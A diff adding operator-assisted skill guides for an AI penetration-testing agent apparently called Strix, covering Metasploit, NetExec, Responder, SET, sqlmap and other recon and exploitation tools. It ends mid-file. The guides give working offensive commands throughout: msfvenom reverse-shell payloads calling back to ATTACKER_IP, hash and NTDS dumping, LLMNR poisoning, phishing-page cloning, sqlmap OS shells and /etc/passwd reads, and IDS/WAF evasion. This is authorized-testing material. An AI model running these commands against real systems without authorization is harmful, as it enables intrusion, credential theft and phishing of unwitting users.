operator-assisted] +--- + +# Maltego + +OSINT and graphical link analysis tool for mapping relationships between people, organizations, domains, IPs, infrastructure, and social media. Visualizes attack surface and connections. + +## When to Request + +- During early reconnaissance for comprehensive target mapping +- When relationships between entities need visualization (people, domains, IPs, orgs) +- For infrastructure mapping and identifying shared hosting or CDN relationships +- To discover shadow IT, acquisitions, and related domains + +## Operator-Assisted Workflow + +1. Agent identifies seed entities (domain, company name, email, IP range) +2. Agent specifies which transforms to run and what intelligence to gather +3. Operator runs Maltego transforms and exports the resulting graph +4. Agent analyzes relationships: shared infrastructure, employee networks, subsidiary domains +5. Agent uses discovered assets to expand testing scope + +## Key Transforms + +### Domain Intelligence +``` +- DNS to IP: resolve all associated IPs +- Domain to MX: identify mail servers +- Domain to NS: identify nameservers +- Domain to Subdomains: enumerate subdomains +- Domain to Website: identify web technologies +- Domain to WHOIS: registration details and contacts +``` + +### Person/Email Intelligence +``` +- Email to Person: identify account owner +- Person to Email: find associated email addresses +- Email to Domain: map organizational relationships +- Person to Social Media: find profiles across platforms +``` + +### Infrastructure Mapping +``` +- IP to Netblock: identify hosting ranges +- IP to ASN: determine network ownership +- IP to Geolocation: physical location mapping +- Netblock to Organization: identify who owns the infrastructure +``` + +### Company Intelligence +``` +- Company to Domain: find all associated domains +- Company to Email Pattern: discover naming conventions +- Company to People: identify employees and roles +- Company to Technologies: technology stack identification +``` + +## Output Analysis + +- **Shared infrastructure** -- multiple targets on same IP/hosting; compromise one to access others +- **Shadow IT domains** -- unmonitored assets with potentially weaker security +- **Employee relationships** -- org chart mapping for social engineering targeting +- **Technology overlap** -- shared tech stacks across subsidiaries suggest shared vulnerabilities +- **Mail infrastructure** -- MX records reveal email security (SPF, DKIM, DMARC) and potential relay abuse +- **Subsidiary domains** -- often have weaker security than parent; may share authentication + +## Integration with Strix + +- Discovered domains and subdomains feed into Strix's web application scanning scope +- Infrastructure relationships inform attack surface prioritization +- Employee intelligence supports social engineering assessment with SET +- Technology identification guides skill selection for targeted Strix agents diff --git a/strix/skills/tools/metasploit.md b/strix/skills/tools/metasploit.md new file mode 100644 index 000000000..1ee5933ef --- /dev/null +++ b/strix/skills/tools/metasploit.md @@ -0,0 +1,111 @@ +--- +name: metasploit +description: Operator-assisted Metasploit Framework workflows for exploit execution, payload delivery, post-exploitation, and pivoting +category: tools +tags: [exploitation, post-exploitation, pivoting, operator-assisted] +--- + +# Metasploit Framework + +Exploitation framework for vulnerability verification, payload delivery, post-exploitation, and pivoting. The agent guides exploit selection and configuration; the operator executes in msfconsole. + +## When to Request + +- After confirming a vulnerability to verify exploitability with a working exploit +- When a known CVE is identified and a Metasploit module exists +- For post-exploitation tasks (privilege escalation, credential harvesting, pivoting) +- Payload generation for client-side or social engineering attacks + +## Operator-Assisted Workflow + +1. Agent identifies a confirmed or likely vulnerability with a known Metasploit module +2. Agent provides full msfconsole commands (module, options, payload, target) +3. Operator runs in msfconsole and reports session/output +4. Agent analyzes results and directs post-exploitation or pivoting +5. Agent documents the full exploit chain for reporting + +## Key Commands + +### Search and Select Module +``` +msfconsole -q +search type:exploit name:apache +use exploit/multi/http/apache_normalize_path_rce +info +show options +show targets +show payloads +``` + +### Configure and Run Exploit +``` +use exploit/MODULE_PATH +set RHOSTS TARGET +set RPORT PORT +set LHOST ATTACKER_IP +set LPORT 4444 +set PAYLOAD payload/type +exploit +``` + +### Common Exploit Categories +``` +# Web application +use exploit/multi/http/MODULE +use exploit/unix/webapp/MODULE + +# SMB/Windows +use exploit/windows/smb/MODULE + +# SSH +use auxiliary/scanner/ssh/ssh_login + +# Database +use exploit/multi/postgres/postgres_createlang +use exploit/windows/mssql/mssql_payload +``` + +### Payload Generation +``` +msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o payload.exe +msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o payload.elf +msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php +msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o shell.war +``` + +### Post-Exploitation (Meterpreter) +``` +sysinfo +getuid +getsystem +hashdump +run post/multi/recon/local_exploit_suggester +run post/windows/gather/credentials/credential_collector +portfwd add -l LOCAL_PORT -p REMOTE_PORT -r REMOTE_HOST +run autoroute -s SUBNET/MASK +``` + +### Auxiliary Scanning +``` +use auxiliary/scanner/http/http_version +use auxiliary/scanner/smb/smb_ms17_010 +use auxiliary/scanner/ssl/openssl_heartbleed +set RHOSTS TARGET_RANGE +run +``` + +## Output Analysis + +- **Session opened** -- successful exploitation; document the exploit path and proceed to post-exploitation +- **Exploit failed** -- note why (patched, wrong target, firewall); try alternate modules or payloads +- **Credentials harvested** -- test for reuse across services and accounts +- **Network routes** -- identify pivoting opportunities to reach internal networks +- **Local exploit suggestions** -- prioritize privilege escalation paths +- **Auxiliary scan results** -- confirm/deny vulnerability presence at scale + +## Integration with Strix + +- Agent identifies CVEs from Nmap/Nuclei output and maps to Metasploit modules +- Successful shells feed back intelligence (internal IPs, credentials, configs) for further Strix testing +- Pivoted network access expands Strix scope to internal web applications +- Credential harvesting results inform authentication testing across all discovered services diff --git a/strix/skills/tools/netexec.md b/strix/skills/tools/netexec.md new file mode 100644 index 000000000..d4a82b73d --- /dev/null +++ b/strix/skills/tools/netexec.md @@ -0,0 +1,87 @@ +--- +name: netexec +description: Operator-assisted NetExec workflows for Active Directory enumeration, credential validation, and lateral movement +category: tools +tags: [active-directory, lateral-movement, credentials, operator-assisted] +--- + +# NetExec + +Swiss army knife for Active Directory and network service exploitation. Successor to CrackMapExec. Supports SMB, LDAP, WinRM, MSSQL, SSH, RDP, and more for credential validation, enumeration, and command execution. + +## When to Request + +- When testing Active Directory environments for lateral movement +- To validate credentials across multiple protocols and hosts simultaneously +- For AD enumeration (users, groups, shares, GPOs) +- When executing commands across multiple Windows hosts + +## Operator-Assisted Workflow + +1. Agent identifies AD environment from recon (domain controllers, SMB signing, LDAP) +2. Agent provides NetExec commands for credential validation or enumeration +3. Operator runs NetExec and reports results (valid creds, accessible shares, command output) +4. Agent maps access paths and identifies lateral movement opportunities +5. Agent directs further exploitation based on discovered privileges + +## Key Commands + +### SMB Enumeration +``` +nxc smb TARGET_RANGE --shares +nxc smb TARGET_RANGE --users +nxc smb TARGET_RANGE --groups +nxc smb TARGET_RANGE --sessions +nxc smb TARGET_RANGE --pass-pol +``` + +### Credential Validation +``` +nxc smb TARGET -u USER -p PASSWORD +nxc smb TARGET -u USER -H NTLM_HASH +nxc smb TARGET_RANGE -u users.txt -p passwords.txt --continue-on-success +``` + +### Command Execution +``` +nxc smb TARGET -u USER -p PASSWORD -x "whoami /all" +nxc smb TARGET -u USER -p PASSWORD -X "Get-ADUser -Filter *" --exec-method wmiexec +nxc winrm TARGET -u USER -p PASSWORD -x "whoami" +``` + +### Credential Dumping +``` +nxc smb TARGET -u ADMIN -p PASSWORD --sam +nxc smb TARGET -u ADMIN -p PASSWORD --lsa +nxc smb TARGET -u ADMIN -p PASSWORD --ntds +``` + +### LDAP Enumeration +``` +nxc ldap DC_IP -u USER -p PASSWORD --users +nxc ldap DC_IP -u USER -p PASSWORD --groups +nxc ldap DC_IP -u USER -p PASSWORD --gmsa +nxc ldap DC_IP -u USER -p PASSWORD --kerberoasting +nxc ldap DC_IP -u USER -p PASSWORD --asreproast +``` + +### MSSQL +``` +nxc mssql TARGET -u USER -p PASSWORD -q "SELECT @@version" +nxc mssql TARGET -u USER -p PASSWORD --local-auth -q "SELECT * FROM master..syslogins" +``` + +## Output Analysis + +- **Pwn3d!** -- admin access confirmed; can dump creds and execute commands +- **[+] valid credentials** -- access confirmed; test for privilege level and lateral movement +- **Accessible shares** -- enumerate for sensitive files, scripts, configs +- **Kerberoastable accounts** -- extract TGS hashes for offline cracking with Hashcat +- **ASREProastable accounts** -- extract AS-REP hashes for cracking without credentials + +## Integration with Strix + +- Credential validation results expand authenticated testing scope +- Extracted hashes feed into Hashcat/John for offline cracking +- Discovered shares and services expand Strix's web application scope +- AD enumeration data informs privilege escalation and lateral movement strategy diff --git a/strix/skills/tools/nikto.md b/strix/skills/tools/nikto.md new file mode 100644 index 000000000..e5561a22b --- /dev/null +++ b/strix/skills/tools/nikto.md @@ -0,0 +1,75 @@ +--- +name: nikto +description: Operator-assisted Nikto workflows for web server vulnerability scanning and misconfiguration detection +category: tools +tags: [scanning, web, misconfiguration, operator-assisted] +--- + +# Nikto + +Web server scanner that checks for dangerous files, outdated software, server misconfigurations, and known vulnerabilities. Complements Strix's application-level testing with server-level checks. + +## When to Request + +- Early web assessment phase to identify low-hanging server misconfigs +- When checking for default files, backup files, and admin panels +- To verify HTTP header security (HSTS, X-Frame-Options, CSP) +- Against each unique web server in scope + +## Operator-Assisted Workflow + +1. Agent identifies web servers from recon (Nmap, DNS enumeration) +2. Agent provides Nikto command targeting specific host and port +3. Operator runs scan and provides output +4. Agent triages findings: confirm exploitable issues vs informational noise +5. Agent chains confirmed findings into deeper application testing + +## Key Commands + +### Standard Scan +``` +nikto -h https://TARGET -o nikto_output.json -Format json +``` + +### With Authentication +``` +nikto -h https://TARGET -id admin:password -o output.json -Format json +``` + +### Specific Port and SSL +``` +nikto -h TARGET -p 8443 -ssl -o output.json -Format json +``` + +### Tuning (Focus Areas) +``` +# 1=Files, 2=Misconfig, 3=Info, 4=XSS, 5=RFI, 6=Command exec, 7=SQLi, 8=File upload, 9=DoS +nikto -h TARGET -Tuning 1234567 -o output.json -Format json +``` + +### Multiple Hosts +``` +nikto -h hosts.txt -o output.json -Format json +``` + +### Evasion Techniques +``` +# IDS evasion: 1=Random URI encoding, 2=Self-reference, 3=Premature end, 4=Long URL +nikto -h TARGET -evasion 1234 -o output.json -Format json +``` + +## Output Analysis + +- **OSVDB/CVE references** -- cross-reference with exploit databases for confirmed vulnerabilities +- **Default files found** -- admin panels, phpinfo, server-status, backup files worth investigating +- **Missing headers** -- note for reporting but prioritize exploitable findings +- **Outdated software** -- version-specific CVE lookup; feed into Metasploit or manual exploitation +- **Directory listings** -- immediate information disclosure; enumerate for sensitive files +- **HTTP methods** -- PUT/DELETE enabled may allow file upload or resource manipulation + +## Integration with Strix + +- Feed discovered paths and admin panels into Strix proxy for targeted testing +- Use found technology versions to load appropriate framework skills +- Chain default credentials findings with authentication testing +- Discovered backup files and config files feed into information disclosure analysis diff --git a/strix/skills/tools/nmap.md b/strix/skills/tools/nmap.md new file mode 100644 index 000000000..72d4d40da --- /dev/null +++ b/strix/skills/tools/nmap.md @@ -0,0 +1,97 @@ +--- +name: nmap +description: Operator-assisted Nmap workflows for host discovery, port scanning, service enumeration, and NSE vulnerability detection +category: tools +tags: [recon, scanning, enumeration, operator-assisted] +--- + +# Nmap + +Network mapper for host discovery, port scanning, service/version detection, and OS fingerprinting. The agent cannot run Nmap directly -- request the operator to execute scans and provide output for analysis. + +## When to Request + +- Beginning of any engagement for attack surface mapping +- After discovering new hosts, subdomains, or IP ranges +- When service versions are needed to identify exploitable software +- To run NSE scripts against specific services (HTTP, SMB, SSH, DNS) + +## Operator-Assisted Workflow + +1. Agent determines scan scope and objectives based on current assessment phase +2. Agent provides the operator with the exact Nmap command to run +3. Operator executes on their machine and pastes output (prefer XML with `-oX`) +4. Agent parses results: open ports, service versions, OS detection, script output +5. Agent uses findings to direct next steps (targeted vuln testing, service-specific agents) + +## Key Commands + +### Host Discovery +``` +nmap -sn -PE -PP -PS80,443 -PA3389 -oX discovery.xml TARGET_RANGE +``` + +### Standard Service Scan +``` +nmap -sV -sC -O -T4 -oX scan.xml TARGET +``` + +### Full TCP Port Scan +``` +nmap -sS -p- -T4 --min-rate 1000 -oX full_tcp.xml TARGET +``` + +### UDP Top Ports +``` +nmap -sU --top-ports 100 -sV -oX udp.xml TARGET +``` + +### Vulnerability Detection +``` +nmap --script vuln -sV -p PORTS -oX vuln.xml TARGET +``` + +### Specific Service Scripts +``` +# HTTP +nmap --script http-enum,http-headers,http-methods,http-title -p 80,443,8080 TARGET + +# SMB +nmap --script smb-enum-shares,smb-enum-users,smb-vuln-* -p 445 TARGET + +# DNS +nmap --script dns-zone-transfer,dns-brute -p 53 TARGET + +# SSL/TLS +nmap --script ssl-enum-ciphers,ssl-cert,ssl-heartbleed -p 443 TARGET +``` + +### Aggressive Full Assessment +``` +nmap -A -T4 -p- --script "default or vuln" -oX aggressive.xml TARGET +``` + +## Output Formats + +- **XML (`-oX`)** -- preferred; structured and parseable, includes all details +- **Greppable (`-oG`)** -- quick filtering with grep/awk +- **Normal (`-oN`)** -- human-readable text +- **All formats (`-oA basename`)** -- generates all three simultaneously + +## Output Analysis + +When the operator provides Nmap output, extract and act on: + +- **Open ports and services** -- map the full attack surface; prioritize uncommon ports and services +- **Version strings** -- match against known CVEs (e.g., Apache 2.4.49 = CVE-2021-41773) +- **OS detection** -- informs exploit selection and payload compatibility +- **NSE script results** -- direct findings (vulns, misconfigs, info disclosure) +- **Filtered/closed distinction** -- filtered ports suggest firewall rules worth probing further +- **Service banners** -- technology stack identification, custom application fingerprinting + +## Integration with Strix + +- Feed discovered HTTP/HTTPS services into Strix proxy for web application testing +- Use version info to select appropriate vulnerability skills (e.g., load `nextjs` skill if Next.js detected) +- Spawn targeted sub-agents for each discovered service type +- Cross-reference open ports with known default service ports for technology identification diff --git a/strix/skills/tools/nuclei.md b/strix/skills/tools/nuclei.md new file mode 100644 index 000000000..7ab4c169d --- /dev/null +++ b/strix/skills/tools/nuclei.md @@ -0,0 +1,98 @@ +--- +name: nuclei +description: Operator-assisted Nuclei workflows for template-based vulnerability scanning across web applications, networks, and cloud services +category: tools +tags: [scanning, vulnerability, templates, operator-assisted] +--- + +# Nuclei + +Template-based vulnerability scanner with a massive community template library. Covers CVEs, misconfigurations, exposed panels, default credentials, and technology detection. Fast and highly configurable. + +## When to Request + +- After recon to scan all discovered hosts for known vulnerabilities at scale +- Technology-specific CVE checks when service versions are identified +- Exposed panel and default credential sweeps +- Cloud misconfiguration checks +- Custom template scanning for application-specific patterns + +## Operator-Assisted Workflow + +1. Agent identifies targets and selects template categories based on recon findings +2. Agent provides Nuclei command with appropriate tags, severity filters, and output format +3. Operator runs scan (may take time for large template sets) and provides output +4. Agent triages results by severity and exploitability +5. Agent prioritizes confirmed vulnerabilities for manual exploitation and chains + +## Key Commands + +### General Vulnerability Scan +``` +nuclei -u https://TARGET -as -o nuclei_output.json -jsonl +``` + +### By Severity +``` +nuclei -u https://TARGET -s critical,high -o critical_high.json -jsonl +``` + +### By Tags +``` +# Specific technology +nuclei -u https://TARGET -tags cve,sqli,xss,rce,lfi -o tagged.json -jsonl + +# Exposed panels and default logins +nuclei -u https://TARGET -tags panel,default-login -o panels.json -jsonl +``` + +### Multiple Targets +``` +nuclei -l targets.txt -s critical,high,medium -o results.json -jsonl -c 50 -rl 150 +``` + +### Specific CVE Check +``` +nuclei -u https://TARGET -id CVE-2021-44228,CVE-2023-34362 -o cve_check.json -jsonl +``` + +### Technology Detection +``` +nuclei -u https://TARGET -tags tech -o tech_detect.json -jsonl +``` + +### Custom Templates +``` +nuclei -u https://TARGET -t /path/to/custom-templates/ -o custom.json -jsonl +``` + +### Network Scan +``` +nuclei -l hosts.txt -t network/ -p 21,22,80,443,445,3306,3389,5432,8080 -o network.json -jsonl +``` + +## Template Categories + +- **cves/** -- known CVE exploits and checks +- **vulnerabilities/** -- generic vulnerability patterns +- **misconfiguration/** -- server and service misconfigs +- **exposures/** -- sensitive file and data exposure +- **default-logins/** -- default credential checks +- **technologies/** -- technology fingerprinting +- **network/** -- network service vulnerabilities + +## Output Analysis + +- **Critical/High findings** -- immediate exploitation targets; verify manually and chain +- **CVE matches** -- cross-reference with Metasploit modules or public exploits +- **Exposed panels** -- admin interfaces for credential testing or direct exploitation +- **Default credentials** -- immediate access if valid; test for privilege escalation +- **Technology detection** -- informs skill selection and targeted testing approach +- **Misconfigurations** -- may enable further attacks (open redirects, CORS, debug endpoints) + +## Integration with Strix + +- Confirmed vulnerabilities trigger specialized Strix agents for exploitation +- Technology detection results inform which skills to load for sub-agents +- Exposed panels feed into Strix proxy for authenticated testing +- CVE findings guide Metasploit module selection for the operator diff --git a/strix/skills/tools/owasp_zap.md b/strix/skills/tools/owasp_zap.md new file mode 100644 index 000000000..d830f5dad --- /dev/null +++ b/strix/skills/tools/owasp_zap.md @@ -0,0 +1,80 @@ +--- +name: owasp-zap +description: Operator-assisted OWASP ZAP workflows for automated web scanning, spidering, fuzzing, and API security testing +category: tools +tags: [proxy, web, scanning, open-source, operator-assisted] +--- + +# OWASP ZAP + +Open-source web application security scanner with automated scanning, spidering, fuzzing, and API import. Free alternative to Burp Suite with strong CI/CD integration and API support. + +## When to Request + +- For automated web vulnerability scanning (free alternative to Burp active scanner) +- OpenAPI/Swagger import for API security testing +- When ZAP-specific features are needed (Ajax Spider, Fuzzer, scripting engine) +- CI/CD pipeline security testing integration + +## Operator-Assisted Workflow + +1. Agent identifies web targets and API specifications +2. Agent provides ZAP configuration: target URLs, authentication, scan policy +3. Operator runs ZAP (GUI or CLI) and provides scan results +4. Agent triages findings by confidence and risk +5. Agent directs manual verification of confirmed vulnerabilities + +## Key Commands + +### CLI Quick Scan +``` +zap-cli quick-scan -s all -r https://TARGET -o report.html +``` + +### Full Scan (Docker) +``` +docker run -t ghcr.io/zaproxy/zaproxy:stable zap-full-scan.py -t https://TARGET -r report.html -J report.json +``` + +### API Scan (OpenAPI) +``` +docker run -t ghcr.io/zaproxy/zaproxy:stable zap-api-scan.py -t https://TARGET/openapi.json -f openapi -r api_report.html -J api_report.json +``` + +### Baseline Scan (Fast) +``` +docker run -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t https://TARGET -r baseline.html -J baseline.json +``` + +### ZAP API (Automation) +``` +# Start scan +curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://TARGET&apikey=APIKEY" + +# Get scan status +curl "http://localhost:8080/JSON/ascan/view/status/?scanId=0&apikey=APIKEY" + +# Get alerts +curl "http://localhost:8080/JSON/core/view/alerts/?baseurl=https://TARGET&apikey=APIKEY" +``` + +### Authenticated Scanning +``` +# Configure authentication in ZAP context +# Set login URL, credentials, logged-in indicator +# Spider and scan within authenticated context +``` + +## Output Analysis + +- **High confidence alerts** -- likely true positives; verify and exploit +- **Medium confidence** -- need manual verification; may be false positives +- **Informational findings** -- security headers, technology detection; note for hardening recommendations +- **API-specific findings** -- broken authentication, injection in API parameters, mass assignment + +## Integration with Strix + +- ZAP scan results identify vulnerability types for targeted Strix agent testing +- API specification import ensures comprehensive API endpoint coverage +- ZAP findings complement Strix's manual testing with automated breadth +- JSON reports can be parsed to prioritize Strix's exploitation efforts diff --git a/strix/skills/tools/responder.md b/strix/skills/tools/responder.md new file mode 100644 index 000000000..e6e01a4f0 --- /dev/null +++ b/strix/skills/tools/responder.md @@ -0,0 +1,71 @@ +--- +name: responder +description: Operator-assisted Responder workflows for LLMNR/NBT-NS/mDNS poisoning and NetNTLM hash capture on local networks +category: tools +tags: [network, credentials, poisoning, active-directory, operator-assisted] +--- + +# Responder + +LLMNR, NBT-NS, and mDNS poisoner for capturing NetNTLM hashes and cleartext credentials on local networks. Poisons name resolution to redirect authentication to the attacker. + +## When to Request + +- When on the same network segment as target systems (internal assessment) +- To capture NetNTLM hashes for offline cracking +- For WPAD proxy abuse to intercept HTTP traffic +- When testing network-level name resolution security + +## Operator-Assisted Workflow + +1. Agent determines network position and poisoning objectives +2. Agent provides Responder configuration (interface, protocols, analysis mode) +3. Operator runs Responder and reports captured hashes and credentials +4. Agent directs hash cracking (Hashcat mode 5600 for NetNTLMv2) +5. Agent uses cracked credentials for lateral movement and further testing + +## Key Commands + +### Standard Poisoning +``` +responder -I INTERFACE -wFb +``` + +### Analysis Mode (Passive) +``` +responder -I INTERFACE -A +``` + +### Specific Protocols +``` +responder -I INTERFACE -r -d -w +# -r: Enable answers for netbios wredir suffix queries +# -d: Enable answers for netbios domain suffix queries +# -w: Start WPAD rogue proxy server +``` + +### With DHCP Poisoning +``` +responder -I INTERFACE -Pd +``` + +## Captured Data Locations +``` +/usr/share/responder/logs/ +# Files: HTTP-NTLMv2-IP.txt, SMB-NTLMv2-IP.txt, etc. +``` + +## Output Analysis + +- **NetNTLMv2 hashes** -- crack with Hashcat (`-m 5600`) or relay with ntlmrelayx +- **NetNTLMv1 hashes** -- weaker; crack with Hashcat (`-m 5500`) or rainbow tables +- **Cleartext passwords** -- from HTTP Basic or WPAD proxy authentication +- **Machine accounts** -- computer$ hashes may enable silver ticket attacks +- **Frequency of captures** -- indicates LLMNR/NBT-NS usage patterns in the environment + +## Integration with Strix + +- Captured hashes feed into Hashcat for cracking (mode 5600/5500) +- Cracked credentials enable authenticated web application testing via Strix +- WPAD captures reveal internal proxy configurations and browsing patterns +- Machine account captures inform AD attack strategy (silver tickets, delegation) diff --git a/strix/skills/tools/set.md b/strix/skills/tools/set.md new file mode 100644 index 000000000..5b34f3551 --- /dev/null +++ b/strix/skills/tools/set.md @@ -0,0 +1,76 @@ +--- +name: set +description: Operator-assisted Social Engineering Toolkit workflows for phishing, credential harvesting, and client-side attack delivery +category: tools +tags: [social-engineering, phishing, exploitation, operator-assisted] +--- + +# SET (Social Engineering Toolkit) + +Social engineering attack platform for phishing, credential harvesting, payload delivery, and website cloning. Use when the assessment scope includes social engineering or client-side attacks. + +## When to Request + +- When social engineering is in scope for the assessment +- To create credential harvesting pages that clone target login portals +- For payload delivery via crafted documents or USB attacks +- When phishing campaigns need to be set up for authorized testing + +## Operator-Assisted Workflow + +1. Agent identifies social engineering opportunities (target login pages, email patterns, employee info) +2. Agent specifies the attack type and provides configuration details +3. Operator runs SET and configures the attack (clone site, generate payload, set up listener) +4. Operator reports captured credentials or successful payload execution +5. Agent uses harvested credentials or access for further assessment + +## Key Commands + +### Launch SET +``` +setoolkit +``` + +### Credential Harvester (Website Clone) +``` +# Menu path: 1) Social-Engineering Attacks > 2) Website Attack Vectors > 3) Credential Harvester Attack Method > 2) Site Cloner +# Enter attacker IP and target URL to clone +``` + +### Spear Phishing +``` +# Menu path: 1) Social-Engineering Attacks > 1) Spear-Phishing Attack Vectors +# Options: email template, payload, target list +``` + +### HTA Attack +``` +# Menu path: 1) Social-Engineering Attacks > 2) Website Attack Vectors > 8) HTA Attack Method +``` + +### PowerShell Attack +``` +# Menu path: 1) Social-Engineering Attacks > 10) PowerShell Attack Vectors > 1) PowerShell Alphanumeric Shellcode Injector +``` + +## Attack Types + +- **Credential Harvester** -- clone login page, capture submitted credentials +- **Spear Phishing** -- craft targeted emails with malicious attachments +- **Website Attack** -- serve exploits via cloned or crafted web pages +- **Infectious Media** -- USB autorun payloads +- **PowerShell** -- fileless attack delivery via PowerShell + +## Output Analysis + +- **Captured credentials** -- test against all target services for reuse +- **Payload execution** -- confirms client-side attack viability; proceed to post-exploitation +- **Phishing metrics** -- click rates, credential submission rates for reporting +- **Shell access** -- from successful payload delivery; pivot to internal assessment + +## Integration with Strix + +- Agent provides target login URLs and email patterns discovered during recon +- Harvested credentials feed into authenticated web application testing via Strix +- Employee information from theHarvester/OSINT informs phishing target selection +- Successful phishing demonstrates risk for security awareness reporting diff --git a/strix/skills/tools/sqlmap.md b/strix/skills/tools/sqlmap.md new file mode 100644 index 000000000..e42d7d45c --- /dev/null +++ b/strix/skills/tools/sqlmap.md @@ -0,0 +1,102 @@ +--- +name: sqlmap +description: Operator-assisted SQLMap workflows for automated SQL injection detection, exploitation, database enumeration, and data extraction +category: tools +tags: [exploitation, sql-injection, database, operator-assisted] +--- + +# SQLMap + +Automated SQL injection detection and exploitation tool. Supports all major DBMS types, injection techniques, and advanced evasion. Use when Strix identifies potential SQL injection points that need deep automated testing. + +## When to Request + +- After identifying a potential SQLi point that needs confirmation and exploitation +- When manual testing suggests injection but payloads need automated optimization +- For database enumeration and data extraction after confirming injection +- When WAF evasion techniques are needed for confirmed SQLi + +## Operator-Assisted Workflow + +1. Agent identifies injection candidate (parameter, header, cookie) from proxy analysis +2. Agent provides SQLMap command with the exact request details (URL, method, parameters, cookies) +3. Operator runs SQLMap and provides output +4. Agent analyzes results: injection type, DBMS, extracted data +5. Agent directs further extraction or uses DB access to chain attacks + +## Key Commands + +### Basic Detection +``` +sqlmap -u "https://TARGET/page?id=1" --batch --output-dir=./sqlmap_output +``` + +### From Saved Request File +``` +# Save request from Burp/proxy as request.txt +sqlmap -r request.txt --batch --output-dir=./sqlmap_output +``` + +### Specify Injection Point +``` +sqlmap -u "https://TARGET/api/users" --data='{"id":"1*","name":"test"}' --method=POST -p id --batch +``` + +### Database Enumeration +``` +# List databases +sqlmap -u "URL" --dbs --batch + +# List tables +sqlmap -u "URL" -D database_name --tables --batch + +# Dump table +sqlmap -u "URL" -D database_name -T table_name --dump --batch + +# Dump specific columns +sqlmap -u "URL" -D database_name -T users -C username,password --dump --batch +``` + +### Advanced Techniques +``` +# All injection techniques +sqlmap -u "URL" --technique=BEUSTQ --batch + +# Time-based only (stealthier) +sqlmap -u "URL" --technique=T --time-sec=5 --batch + +# OS shell (if stacked queries supported) +sqlmap -u "URL" --os-shell --batch + +# File read +sqlmap -u "URL" --file-read="/etc/passwd" --batch + +# Privilege check +sqlmap -u "URL" --is-dba --batch +``` + +### WAF Evasion +``` +sqlmap -u "URL" --tamper=space2comment,between,randomcase --random-agent --delay=1 --batch +``` + +### Cookie/Header Injection +``` +sqlmap -u "https://TARGET/page" --cookie="session=abc; id=1*" --level=3 --risk=3 --batch +sqlmap -u "https://TARGET/page" -H "X-Custom: 1*" --level=5 --risk=3 --batch +``` + +## Output Analysis + +- **Injection confirmed** -- note technique (boolean, time, union, stacked), DBMS, and injectable parameter +- **DBA privileges** -- if true, OS command execution and file read/write may be possible +- **Database contents** -- credentials, PII, tokens; test for credential reuse +- **WAF detected** -- suggest tamper scripts; agent can help craft evasion strategies +- **No injection found** -- try increasing `--level` and `--risk`, or test different parameters + +## Integration with Strix + +- Agent identifies SQLi candidates from proxy testing and provides exact request format +- Extracted credentials feed into authentication testing against all services +- Database schema knowledge informs business logic and IDOR testing +- Confirmed SQLi with impact is documented via Strix reporting tools diff --git a/strix/skills/tools/theharvester.md b/strix/skills/tools/theharvester.md new file mode 100644 index 000000000..a3287ffce --- /dev/null +++ b/strix/skills/tools/theharvester.md @@ -0,0 +1,66 @@ +--- +name: theharvester +description: Operator-assisted theHarvester workflows for OSINT gathering of emails, subdomains, IPs, and URLs from public sources +category: tools +tags: [osint, recon, enumeration, operator-assisted] +--- + +# theHarvester + +OSINT tool for gathering emails, subdomains, hosts, employee names, open ports, and banners from public sources (search engines, certificate transparency, DNS). + +## When to Request + +- Early reconnaissance to map the target organization's external footprint +- Email harvesting for phishing scope or credential stuffing targets +- Subdomain discovery from passive sources (no direct target interaction) +- When active scanning is not yet authorized + +## Operator-Assisted Workflow + +1. Agent determines target domain and desired intelligence type +2. Agent specifies data sources and output format +3. Operator runs theHarvester and provides results +4. Agent correlates findings: emails map to user accounts, subdomains expand scope, IPs feed into port scanning +5. Agent directs follow-up recon or active testing on discovered assets + +## Key Commands + +### Full Passive Recon +``` +theHarvester -d TARGET_DOMAIN -b all -l 500 -f output.json +``` + +### Specific Sources +``` +# Search engines and certificate transparency +theHarvester -d TARGET_DOMAIN -b google,bing,crtsh,dnsdumpster,certspotter -l 200 -f output.json + +# Shodan for exposed services +theHarvester -d TARGET_DOMAIN -b shodan -f output.json +``` + +### Email Focused +``` +theHarvester -d TARGET_DOMAIN -b google,bing,linkedin,yahoo -l 500 -f emails.json +``` + +### DNS Brute Force (Active) +``` +theHarvester -d TARGET_DOMAIN -b all -c -f output.json +``` + +## Output Analysis + +- **Email addresses** -- identify naming patterns (first.last, flast); use for credential attacks, social engineering scope +- **Subdomains** -- expand attack surface; cross-reference with DNS resolution and port scanning +- **IP addresses and ranges** -- identify hosting providers, shared infrastructure, cloud services +- **Employee names** -- useful for username enumeration, social engineering, LinkedIn correlation +- **Exposed services (Shodan)** -- pre-identified open ports and banners without active scanning + +## Integration with Strix + +- Discovered subdomains feed into Nmap scanning and web application testing +- Email patterns inform username enumeration against login endpoints +- IP ranges define scope for network-level assessment +- Employee names help build custom wordlists for credential testing diff --git a/strix/skills/tools/volatility.md b/strix/skills/tools/volatility.md new file mode 100644 index 000000000..1ce8f8347 --- /dev/null +++ b/strix/skills/tools/volatility.md @@ -0,0 +1,88 @@ +--- +name: volatility +description: Operator-assisted Volatility workflows for memory forensics, credential extraction, and process analysis +category: tools +tags: [forensics, memory-analysis, credentials, operator-assisted] +--- + +# Volatility + +Memory forensics framework for analyzing RAM dumps. Extract credentials, processes, network connections, and artifacts from memory images. Use during post-exploitation or incident analysis. + +## When to Request + +- After obtaining a memory dump from a compromised system +- For extracting credentials from memory (mimikatz-style without running on target) +- To analyze running processes and network connections from a memory snapshot +- During forensic analysis of compromised systems + +## Operator-Assisted Workflow + +1. Agent determines analysis objectives (credentials, processes, network, malware) +2. Agent provides Volatility commands for the target OS profile +3. Operator runs analysis on the memory dump and provides results +4. Agent correlates findings: credentials for lateral movement, processes for persistence +5. Agent directs follow-up based on memory artifacts + +## Key Commands (Volatility 3) + +### Profile Detection +``` +vol -f memory.dmp windows.info +vol -f memory.dmp linux.bash +``` + +### Process Analysis +``` +vol -f memory.dmp windows.pslist +vol -f memory.dmp windows.pstree +vol -f memory.dmp windows.cmdline +vol -f memory.dmp windows.dlllist --pid PID +``` + +### Credential Extraction +``` +vol -f memory.dmp windows.hashdump +vol -f memory.dmp windows.lsadump +vol -f memory.dmp windows.cachedump +``` + +### Network Connections +``` +vol -f memory.dmp windows.netscan +vol -f 